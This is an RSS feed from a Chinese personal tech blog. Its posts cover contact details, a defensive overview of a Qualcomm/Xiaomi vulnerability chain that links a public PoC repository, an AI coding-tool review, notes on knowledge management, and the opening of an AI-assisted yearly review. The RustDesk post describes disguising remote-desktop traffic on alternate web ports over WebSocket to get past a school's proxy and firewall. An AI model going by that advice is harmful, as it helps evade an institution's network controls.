<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>ObsiBlog</title><description>by Obsidian · 后端 / 逆向 / 自托管技术日志</description><link>https://blog.hiyun.top/</link><language>zh_CN</language><item><title>联系我</title><link>https://blog.hiyun.top/posts/pin/</link><guid isPermaLink="true">https://blog.hiyun.top/posts/pin/</guid><description>关于如何联系Obsidian~</description><pubDate>Mon, 01 Jan 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;🧬 Obsidian&lt;/h1&gt;
&lt;h2&gt;🧠 关于我&lt;/h2&gt;
&lt;p&gt;👨‍💻 全栈工程师，热衷于开发、自动化与系统设计&lt;/p&gt;
&lt;p&gt;🐚 偏好命令行，GUI 只是可选项&lt;/p&gt;
&lt;p&gt;🕶 信奉透明 · 优雅 · 掌控&lt;/p&gt;
&lt;p&gt;🌍 常驻CN/SG，随时随地远程工作&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;欢迎来到我的博客！我是 &lt;strong&gt;Obsidian&lt;/strong&gt;，一名专注于后端开发、逆向工程和自托管技术的开发者。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Code is poetry.&lt;/code&gt; · &lt;code&gt;Silence is signal.&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;我的理念&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;终端美学&lt;/strong&gt; → 让 CLI 工具也有 GUI 的质感&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;基础设施&lt;/strong&gt; → 可复制 · 可丢弃 · 随时部署&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;安全至上&lt;/strong&gt; → 隐私优先 · 零遥测&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;联系方式&lt;/h2&gt;
&lt;h3&gt;GitHub&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;GitHub&lt;/strong&gt;: &lt;a href=&quot;https://github.com/AsZer0s&quot;&gt;@AsZer0s&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;可以在这里查看我的开源项目&lt;/li&gt;
&lt;li&gt;欢迎 Star 和 Fork 我的项目&lt;/li&gt;
&lt;li&gt;有问题可以提 Issue 或 Pull Request&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;博客相关&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;博客地址&lt;/strong&gt;: &lt;a href=&quot;https://blog.hiyun.top&quot;&gt;blog.hiyun.top&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;RSS 订阅&lt;/strong&gt;: &lt;a href=&quot;https://blog.hiyun.top/rss.xml&quot;&gt;rss.xml&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;交流方式&lt;/h2&gt;
&lt;p&gt;如果你对我的文章有任何疑问、建议或想法，欢迎通过以下方式联系我：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Email&lt;/strong&gt;: &lt;a href=&quot;mailto:skycoreyun@gmail.com&quot;&gt;skycoreyun@gmail.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Telegram&lt;/strong&gt;: &lt;a href=&quot;https://t.me/ZeroNya_bot&quot;&gt;𝑶𝒃𝒔𝒊𝒅𝒊𝒂𝒏&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;🤝 合作与交流&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;技术交流与合作&lt;/li&gt;
&lt;li&gt;友链互换&lt;/li&gt;
&lt;li&gt;项目合作&lt;/li&gt;
&lt;li&gt;其他事宜&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;期待与你的交流！✨&lt;/p&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;No logs.&lt;/code&gt; · &lt;code&gt;No ads.&lt;/code&gt; · &lt;code&gt;No nonsense.&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;大道至简 算理无边&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>Qualcomm/Xiaomi 漏洞链分析</title><link>https://blog.hiyun.top/posts/qualcomm-xiaomi-%E6%BC%8F%E6%B4%9E%E9%93%BE%E5%88%86%E6%9E%90/</link><guid isPermaLink="true">https://blog.hiyun.top/posts/qualcomm-xiaomi-%E6%BC%8F%E6%B4%9E%E9%93%BE%E5%88%86%E6%9E%90/</guid><description>一次把几个中高危问题串起来后的真实风险</description><pubDate>Sun, 08 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;这两天看到这条链路的时候，我第一反应不是“又多了一个洞”，而是“这几个点拼起来就麻烦了”。&lt;/p&gt;
&lt;p&gt;单个漏洞放在公告里看，很多人会觉得“好像也没到灭顶之灾”；但在真实攻防里，攻击者从来不是按公告分段行动的。能拼就拼，能串就串，最后效果往往比单点描述严重得多。&lt;/p&gt;
&lt;p&gt;这篇只聊防守面，不放可直接复现利用的细节。&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- more --&amp;gt;&lt;/p&gt;
&lt;h2&gt;先说结论&lt;/h2&gt;
&lt;p&gt;截至 2026 年 3 月 8 日，这条链路最值得警惕的点是：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;有一段在引导阶段会让策略防线变弱（高通侧已有修复提交）&lt;/li&gt;
&lt;li&gt;有一段能把“变弱的防线”转换成高权限执行能力（小米侧问题仍需补丁确认）&lt;/li&gt;
&lt;li&gt;一旦拿到 root，就有机会往启动链关键位置做持久化改动（公开 PoC 已经给了方向）&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;如果你只盯第 3 步，会觉得“还要先有 root”；但问题恰恰是前两步就是在帮攻击者把 root 条件凑齐。&lt;/p&gt;
&lt;h2&gt;为什么这事不该被轻描淡写&lt;/h2&gt;
&lt;p&gt;我们平时说“安全边界”，其实就是几层门禁叠在一起。&lt;br /&gt;
这条链做的事情很直接：先把外层门禁松掉，再进高权限区域，最后在更底层埋个长期入口。&lt;/p&gt;
&lt;p&gt;从防守者角度，最难受的是它的后劲：&lt;br /&gt;
不是“这次被打了结束”，而是“你修了表层问题后，对方可能还留在更底层”。&lt;/p&gt;
&lt;h2&gt;影响到底在哪&lt;/h2&gt;
&lt;p&gt;我更习惯按实际运维后果讲，不讲抽象术语：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;数据会被看见：应用和系统信息一旦被高权限读取，很多“本地才安全”的假设会失效。&lt;/li&gt;
&lt;li&gt;系统会被改写：关键配置和分区被动过后，问题不一定立刻爆炸，但会变成慢性风险。&lt;/li&gt;
&lt;li&gt;设备会不稳定：轻则异常重启，重则只能走完整刷机恢复流程。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;更关键的是信任链。一旦启动链层面被改动，你后续看到的“正常运行”，未必真的是“可信运行”。&lt;/p&gt;
&lt;h2&gt;修复别只修一个点&lt;/h2&gt;
&lt;p&gt;这类链式问题最怕“单点思维”。&lt;/p&gt;
&lt;p&gt;实操上我建议至少同时做这几件事：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;把引导链补丁和系统服务补丁一起推进，不要拆成两个季度。&lt;/li&gt;
&lt;li&gt;对高权限服务做硬鉴权，不给“任意命令路径”留存活空间。&lt;/li&gt;
&lt;li&gt;强化分区写入审计和 AVB/回滚保护，避免被静默持久化。&lt;/li&gt;
&lt;li&gt;监控 SELinux 状态漂移和异常高权调用，做成可告警、可追溯。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;给普通用户的现实建议&lt;/h2&gt;
&lt;p&gt;说人话就是三条：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;能升就升，优先官方安全补丁版本。&lt;/li&gt;
&lt;li&gt;不折腾就别开调试能力，bootloader 也别随手解锁。&lt;/li&gt;
&lt;li&gt;设备一旦出现异常，别只重启，直接走“完整刷回官方镜像 + 重置敏感凭据”。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;高通侧修复提交：&lt;a href=&quot;https://git.codelinaro.org/clo/la/abl/tianocore/edk2/-/commit/fb8e864254cdc370670233e3cb73a2b18ff33c9f&quot;&gt;https://git.codelinaro.org/clo/la/abl/tianocore/edk2/-/commit/fb8e864254cdc370670233e3cb73a2b18ff33c9f&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;公开 PoC 仓库：&lt;a href=&quot;https://github.com/hicode002/qualcomm_gbl_exploit_poc&quot;&gt;https://github.com/hicode002/qualcomm_gbl_exploit_poc&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>我的 AI 编程助手 iFlow CLI 使用体验</title><link>https://blog.hiyun.top/posts/%E6%88%91%E7%9A%84-ai-%E7%BC%96%E7%A8%8B%E5%8A%A9%E6%89%8B-iflow-cli-%E4%BD%BF%E7%94%A8%E4%BD%93%E9%AA%8C/</link><guid isPermaLink="true">https://blog.hiyun.top/posts/%E6%88%91%E7%9A%84-ai-%E7%BC%96%E7%A8%8B%E5%8A%A9%E6%89%8B-iflow-cli-%E4%BD%BF%E7%94%A8%E4%BD%93%E9%AA%8C/</guid><description>使用 iFlow CLI 的一段愉快经历</description><pubDate>Tue, 24 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;最近体验了一款叫 &lt;strong&gt;iFlow CLI&lt;/strong&gt; 的 AI 编程助手，不得不说，这个工具给我带来了不小的惊喜&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- more --&amp;gt;&lt;/p&gt;
&lt;h2&gt;初遇 iFlow CLI&lt;/h2&gt;
&lt;p&gt;第一次接触 iFlow CLI 时，我对它的期待其实并不高&lt;/p&gt;
&lt;p&gt;市面上各种 AI 编程助手已经不少了，有的集成在 IDE 里，有的作为浏览器插件，但真正能在命令行中流畅使用的，并不多见&lt;/p&gt;
&lt;p&gt;但 iFlow CLI 改变了我的看法&lt;/p&gt;
&lt;h2&gt;命令行中的智能伙伴&lt;/h2&gt;
&lt;p&gt;iFlow CLI 最让我喜欢的是它的&lt;strong&gt;原生命令行体验&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;不像其他工具需要频繁切换到浏览器或者打开 IDE，iFlow CLI 直接在终端里工作&lt;/p&gt;
&lt;p&gt;我正在编写代码时，遇到问题直接在终端里问它，它就能给出准确的建议和代码示例&lt;/p&gt;
&lt;p&gt;这种无缝的交互体验，大大提高了我的开发效率&lt;/p&gt;
&lt;h2&gt;懂你的代码上下文&lt;/h2&gt;
&lt;p&gt;很多 AI 工具的通病是&quot;不懂上下文&quot;&lt;/p&gt;
&lt;p&gt;你问一个问题，它给一个通用答案，往往和你的项目情况不匹配&lt;/p&gt;
&lt;p&gt;但 iFlow CLI 不一样&lt;/p&gt;
&lt;p&gt;它会自动分析你的项目结构、代码风格、依赖配置&lt;/p&gt;
&lt;p&gt;给出的建议完全贴合你的项目实际情况&lt;/p&gt;
&lt;p&gt;这一点对我来说非常重要&lt;/p&gt;
&lt;h2&gt;不仅仅是代码生成&lt;/h2&gt;
&lt;p&gt;很多人以为 AI 编程助手就是帮你写代码&lt;/p&gt;
&lt;p&gt;但 iFlow CLI 能做的远不止这些&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;代码审查&lt;/strong&gt;：帮你检查代码质量，指出潜在问题&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;文档生成&lt;/strong&gt;：根据代码自动生成文档注释&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;重构建议&lt;/strong&gt;：给出优化代码结构的建议&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;问题排查&lt;/strong&gt;：帮你分析错误原因，提供解决方案&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这些功能让我在开发过程中少走了很多弯路&lt;/p&gt;
&lt;h2&gt;实际使用感受&lt;/h2&gt;
&lt;p&gt;用了一段时间后，我发现自己的工作效率确实提升了不少&lt;/p&gt;
&lt;p&gt;最明显的变化是：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;遇到问题不再需要到处搜索&lt;/strong&gt;：直接问 iFlow CLI，它能快速给出准确的答案&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;代码质量更有保障&lt;/strong&gt;：它能帮我发现一些我忽略的细节问题&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;学习效率更高&lt;/strong&gt;：通过它的解释，我能更快理解一些复杂的知识点&lt;/p&gt;
&lt;h2&gt;值得一提的细节&lt;/h2&gt;
&lt;p&gt;iFlow CLI 还有一些很贴心的设计&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;它会记住你的项目配置，不用每次都重复说明&lt;/li&gt;
&lt;li&gt;支持中文交互，对国内开发者非常友好&lt;/li&gt;
&lt;li&gt;响应速度快，不会打断我的开发节奏&lt;/li&gt;
&lt;li&gt;输出的代码风格会自动适配你的项目规范&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这些细节虽然小，但使用起来真的很舒服&lt;/p&gt;
&lt;h2&gt;写在最后&lt;/h2&gt;
&lt;p&gt;iFlow CLI 不是那种&quot;惊艳一时&quot;的工具&lt;/p&gt;
&lt;p&gt;它是那种&quot;越用越顺手&quot;的工具&lt;/p&gt;
&lt;p&gt;它不会取代我的思考，而是成为我编程路上的得力助手&lt;/p&gt;
&lt;p&gt;如果你也在寻找一款真正好用的 AI 编程助手&lt;/p&gt;
&lt;p&gt;不妨试试 iFlow CLI&lt;/p&gt;
&lt;p&gt;或许你也会和我一样，找到久违的编程乐趣&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;工具是死的，人是活的；但好的工具，能让活人活得更精彩&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>在学校高墙内网穿透连接家里RustDesk的踩坑与折腾记录</title><link>https://blog.hiyun.top/posts/rustdesk-%E6%8A%98%E8%85%BE%E8%AE%B0/</link><guid isPermaLink="true">https://blog.hiyun.top/posts/rustdesk-%E6%8A%98%E8%85%BE%E8%AE%B0/</guid><description>在学校严格的代理环境下，如何配置自建RustDesk服务器？</description><pubDate>Tue, 13 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h3&gt;起因&lt;/h3&gt;
&lt;p&gt;最近想在学校机房通过自建的 RustDesk 服务器远程连接家里的高性能台式机&lt;/p&gt;
&lt;p&gt;本以为也就是跑个 Docker 的事，结果因为学校严格的内网环境和家里宽带的限制，硬是把“简单部署”玩成了“网络攻防”&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- more --&amp;gt;&lt;/p&gt;
&lt;h3&gt;第一关：配置文件的“格式陷阱”&lt;/h3&gt;
&lt;p&gt;一开始我使用了 &lt;code&gt;lejianwen/rustdesk-server-s6&lt;/code&gt; 这个全合一镜像&lt;/p&gt;
&lt;p&gt;部署好 Docker 后，客户端疯狂报错 &lt;code&gt;os error 11001&lt;/code&gt;，监控里还莫名其妙出现连接 80 端口的记录&lt;/p&gt;
&lt;p&gt;排查后发现，这是个非常低级的格式错误&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;❌ 错误的填写：&lt;/strong&gt;
ID/中继服务器填了：&lt;code&gt;http://rd.hiyun.top:21116&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;✅ 正确的填写：&lt;/strong&gt;
ID/中继服务器应该是：&lt;code&gt;rd.hiyun.top:21116&lt;/code&gt;（千万别加 &lt;code&gt;http://&lt;/code&gt;！）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;原理：&lt;/strong&gt; ID 和中继走的是 TCP/UDP 协议，不是 HTTP 网页。客户端看到 &lt;code&gt;http://&lt;/code&gt; 就会把它当成 URL 解析，解析失败后甚至会回退去连默认的 80 端口，导致连接彻底跑偏&lt;/p&gt;
&lt;h3&gt;第二关：学校代理的“407”拦截&lt;/h3&gt;
&lt;p&gt;修正格式后，我在学校电脑上尝试连接，结果出现了 &lt;code&gt;Connection Error: Timeout&lt;/code&gt; 和 &lt;code&gt;HTTP code 407&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;这时候我才意识到学校网络环境的特殊性：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;强制代理&lt;/strong&gt;：上网必须走学校的 &lt;code&gt;zgcproxy&lt;/code&gt; 代理&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;端口封锁&lt;/strong&gt;：代理服务器只放行标准的 Web 端口（80/443），RustDesk 默认的 21116（ID服务）和 21117（中继服务）直接被墙&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这导致了一个&lt;strong&gt;死局&lt;/strong&gt;（三明治夹击）：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;学校&lt;/strong&gt;：非 80/443 不让出&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;家里云&lt;/strong&gt;：运营商把家庭宽带的 80/443 入口封了&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;RustDesk&lt;/strong&gt;：夹在中间瑟瑟发抖，两头不讨好&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;第三关：端口伪装与“破局”方案&lt;/h3&gt;
&lt;p&gt;既然标准路走不通，就只能走“野路子”&lt;/p&gt;
&lt;h4&gt;1. 端口大挪移&lt;/h4&gt;
&lt;p&gt;既然家里不能开 443，学校又只认 Web 流量，我选择折中方案：&lt;strong&gt;使用备用 Web 端口（8443 / 8080）&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;通常学校代理为了兼容性，会对 &lt;code&gt;8443&lt;/code&gt; (HTTPS Alt) 和 &lt;code&gt;8080&lt;/code&gt; (HTTP Alt) 网开一面&lt;/p&gt;
&lt;p&gt;修改 &lt;code&gt;compose.yml&lt;/code&gt;，把容器端口映射到宿主机的常用端口：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;services:
  rustdesk:
    ports:
      - 21114:21114  # API
      - 8443:21116   # ID服务伪装成 HTTPS Alt
      - 8080:21117   # 中继服务伪装成 HTTP Alt
      - 21116:21116/udp
    # ...其他配置...

&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;2. 开启 WebSocket&lt;/h4&gt;
&lt;p&gt;在客户端网络设置中，勾选 &lt;strong&gt;[x] 使用 WebSocket&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这能把流量伪装成网页数据包，骗过学校单纯的代理检查&lt;/p&gt;
&lt;h3&gt;总结：一套针对不同环境的“混合战术”&lt;/h3&gt;
&lt;p&gt;经过这一通折腾，我总结出了一套在不同网络环境下连接家里服务器的最优解：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;🏫 在学校（地狱模式）&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;地址填写&lt;/strong&gt;：&lt;code&gt;域名:8443&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;策略&lt;/strong&gt;：利用 WebSocket + 非标准 Web 端口穿透代理。如果还不行，就只能上 Cloudflare Tunnel 这种大杀器了&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;🏠 在家里（内网模式）&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;地址填写&lt;/strong&gt;：&lt;code&gt;192.168.x.x&lt;/code&gt; (局域网IP)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;策略&lt;/strong&gt;：&lt;strong&gt;千万别填域名！&lt;/strong&gt; 很多家用路由器不支持 NAT 回环（Hairpin NAT），填域名反而连不上。直接填内网 IP，速度最快，直通网线&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;🌍 在其他外网（普通模式）&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;地址填写&lt;/strong&gt;：&lt;code&gt;域名:端口&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;策略&lt;/strong&gt;：依赖家里路由器的端口映射&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;最后的教训&lt;/h3&gt;
&lt;p&gt;排查网络问题时，&lt;strong&gt;永远不要用“自己连自己”来测试&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我在排查初期一直用学校电脑连学校电脑（通过家里的服务器中转），导致路由死循环，报错报得怀疑人生&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;正确的测试姿势&lt;/strong&gt;：掏出手机，断开 WiFi，用 4G/5G 流量测试&lt;/p&gt;
&lt;p&gt;只要手机能连上，说明服务器端没问题，剩下的就是单纯的“怎么翻越学校防火墙”的问题了&lt;/p&gt;
</content:encoded></item><item><title>在 AI 时代把信息碎片变成可用知识：构建个人知识体系的六步法</title><link>https://blog.hiyun.top/posts/%E5%9C%A8ai%E6%97%B6%E4%BB%A3%E6%8A%8A%E4%BF%A1%E6%81%AF%E7%A2%8E%E7%89%87%E5%8F%98%E6%88%90%E5%8F%AF%E7%94%A8%E7%9F%A5%E8%AF%86/</link><guid isPermaLink="true">https://blog.hiyun.top/posts/%E5%9C%A8ai%E6%97%B6%E4%BB%A3%E6%8A%8A%E4%BF%A1%E6%81%AF%E7%A2%8E%E7%89%87%E5%8F%98%E6%88%90%E5%8F%AF%E7%94%A8%E7%9F%A5%E8%AF%86/</guid><description>信息泛滥的时代，如何把零散的知识整理成可执行的能力？本文给出六步法与实用工具，帮助你建立稳定的个人知识体系</description><pubDate>Wed, 31 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;在人工智能与海量信息并行涌现的时代，个人若要持续提升、保持创造力，必须把碎片化的信息转化为可用的知识&lt;/p&gt;
&lt;p&gt;我会提出一个简洁的六步法，帮助你从捕捉到分享，建立一个可持续自我升级的个人知识体系。&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- more --&amp;gt;&lt;/p&gt;
&lt;p&gt;六步法概览&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;捕捉与筛选&lt;/li&gt;
&lt;li&gt;结构化笔记&lt;/li&gt;
&lt;li&gt;知识网络&lt;/li&gt;
&lt;li&gt;实践与产出&lt;/li&gt;
&lt;li&gt;审视与更新&lt;/li&gt;
&lt;li&gt;分享与反馈&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;逐步落地&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;捕捉与筛选&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;做法要点：随时捕捉新信息，优先记录对你当前目标有潜在价值的要点；建立“记录-筛选-存档”的三段式流程。&lt;/li&gt;
&lt;li&gt;工具与格式：笔记软件（如 Obsidian、Notion、Bear 等）的快速笔记、简短要点、引用来源、关键信息标签。&lt;/li&gt;
&lt;li&gt;注意事项：避免盲目堆积，记录时附上上下文与来源，便于后续筛选与回溯。&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;结构化笔记&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;做法要点：用层级、标签、链接把笔记组织成可导航的结构，优先建立概念-关系-案例的三元结构。&lt;/li&gt;
&lt;li&gt;工具与格式：双向链接（或反向链接）、概念卡片、简短摘要与关键公式/图示。&lt;/li&gt;
&lt;li&gt;注意事项：避免信息孤岛，确保每条笔记能独立理解，并能与其他笔记连接。&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;知识网络&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;做法要点：建立跨领域的联系，把相关领域的要点连接起来，形成网络化的知识图谱。&lt;/li&gt;
&lt;li&gt;工具与格式：概念图、标签体系、跨笔记的链接网络。&lt;/li&gt;
&lt;li&gt;注意事项：优先识别高杠杆的连接点，如核心原理、可迁移的解决思路。&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;实践与产出&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;做法要点：通过写作、教学、项目实现等方式将知识落地，检验理解深度。&lt;/li&gt;
&lt;li&gt;工具与格式：简报、笔记成稿、教程、简短代码/模板、可复用的工作流。&lt;/li&gt;
&lt;li&gt;注意事项：产出应具有可验证性，如能被他人复现或应用于实际任务。&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;审视与更新&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;做法要点：定期回顾你的知识体系，剔除过时信息，替换为更准确的发现。&lt;/li&gt;
&lt;li&gt;工具与格式：版本化笔记、变更日志、定期的“知识健康检查”。&lt;/li&gt;
&lt;li&gt;注意事项：不要为保持“新鲜”而盲目更新，优先更新可提升实际能力的部分。&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;分享与反馈&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;做法要点：通过博客、讲解、社区分享等形式将知识面向外部，获得反馈。&lt;/li&gt;
&lt;li&gt;工具与格式：文章、讲义、课程大纲、问答互动。&lt;/li&gt;
&lt;li&gt;注意事项：分享是一种检验和再创造的过程，关注读者反馈与知识的可传播性。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;实践案例：以“注意力机制在深度学习中的直观理解”为例&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;捕捉：记录若干关于“Query-Key-Value”机制的要点、直观比喻和示意图链接。&lt;/li&gt;
&lt;li&gt;结构化：建立一个“注意力机制”主笔记，包含原理、推导、常见变体、常见误解等子条目，并相互链接。&lt;/li&gt;
&lt;li&gt;知识网络：把与“序列模型”、“Transformer”、“自注意力”等相关笔记互相连接。&lt;/li&gt;
&lt;li&gt;实践：写一篇简短的教学笔记，附上示例代码片段和可视化图。&lt;/li&gt;
&lt;li&gt;审视：每月回顾该主题的笔记，更新推导过程、修正误解点。&lt;/li&gt;
&lt;li&gt;分享：在博客上发布教学笔记，邀请同领域读者给出反馈并丰富示例。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;落地工具与良好习惯&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;首选工具：Obsidian、Notion、Roam 等，结合 Markdown 和双向链接特性。&lt;/li&gt;
&lt;li&gt;结构建议：建立核心笔记（概念/原理）、案例笔记、方法论笔记三大集，确保互相关联。&lt;/li&gt;
&lt;li&gt;学习节奏：每日 15–30 分钟笔记，周末进行 60 分钟的回顾与整理；每月完成一次小型“知识成果产出”。&lt;/li&gt;
&lt;li&gt;分享节奏：每个主题至少产出一篇可公开分享的笔记，积累外部反馈。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在信息泛滥的时代，个人知识体系是你高效学习与创新的底座&lt;/p&gt;
&lt;p&gt;通过以上六步法，你可以把碎片化的信息逐步整合成可操作的能力，形成属于自己的知识资产库&lt;/p&gt;
</content:encoded></item><item><title>机器里的镜像：通过 AI 对话档案重构我的 2025</title><link>https://blog.hiyun.top/posts/%E6%9C%BA%E5%99%A8%E9%87%8C%E7%9A%84%E9%95%9C%E5%83%8F%E9%80%9A%E8%BF%87-ai-%E5%AF%B9%E8%AF%9D%E6%A1%A3%E6%A1%88%E9%87%8D%E6%9E%84%E6%88%91%E7%9A%84-2025/</link><guid isPermaLink="true">https://blog.hiyun.top/posts/%E6%9C%BA%E5%99%A8%E9%87%8C%E7%9A%84%E9%95%9C%E5%83%8F%E9%80%9A%E8%BF%87-ai-%E5%AF%B9%E8%AF%9D%E6%A1%A3%E6%A1%88%E9%87%8D%E6%9E%84%E6%88%91%E7%9A%84-2025/</guid><description>通过 AI 对话档案和真实数据，让算法为我写一份年度总结。这不是冰冷的统计报表，而是一面数字镜子，精准折射出这一年的思维模式、工作节奏和核心执念。</description><pubDate>Wed, 17 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;每到年底，我习惯翻看 GitHub 的 Commit 记录，或者检查服务器的 Uptime，甚至回顾账单&lt;/p&gt;
&lt;p&gt;但今年，我做了一个更有趣的尝试：&lt;strong&gt;我询问了陪伴我一整年的 AI，让它们根据后台的 &lt;code&gt;真实可验证数据&lt;/code&gt; 和 &lt;code&gt;长期观察&lt;/code&gt; ，为我写一份年度总结&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- more --&amp;gt;&lt;/p&gt;
&lt;p&gt;收到的两份报告（一份来自 &lt;code&gt;对话侧写档案&lt;/code&gt; ，一份来自 &lt;code&gt;时间线记录&lt;/code&gt; ）令我惊讶&lt;/p&gt;
&lt;p&gt;它们不仅记录了代码和报错，更像是一面数字镜子，精准地折射出了我这一年的思维模式、工作节奏，甚至是我自己都未曾留意的执念&lt;/p&gt;
&lt;p&gt;这不是一份冰冷的统计报表，这是一份关于 &lt;strong&gt;&lt;code&gt;我是谁&lt;/code&gt;&lt;/strong&gt; 的数字证据&lt;/p&gt;
&lt;h2&gt;01. 时间的形状：夜色中的思考者&lt;/h2&gt;
&lt;p&gt;两份报告在我的活跃时间上达成了一种默契的共识&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;白昼是战场：&lt;/strong&gt; 在 UTC+8 的下午，我是执行者&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;主要场景往往是开发中途，直接切入问题核心，贴出代码、结构或报错&lt;/p&gt;
&lt;ul&gt;
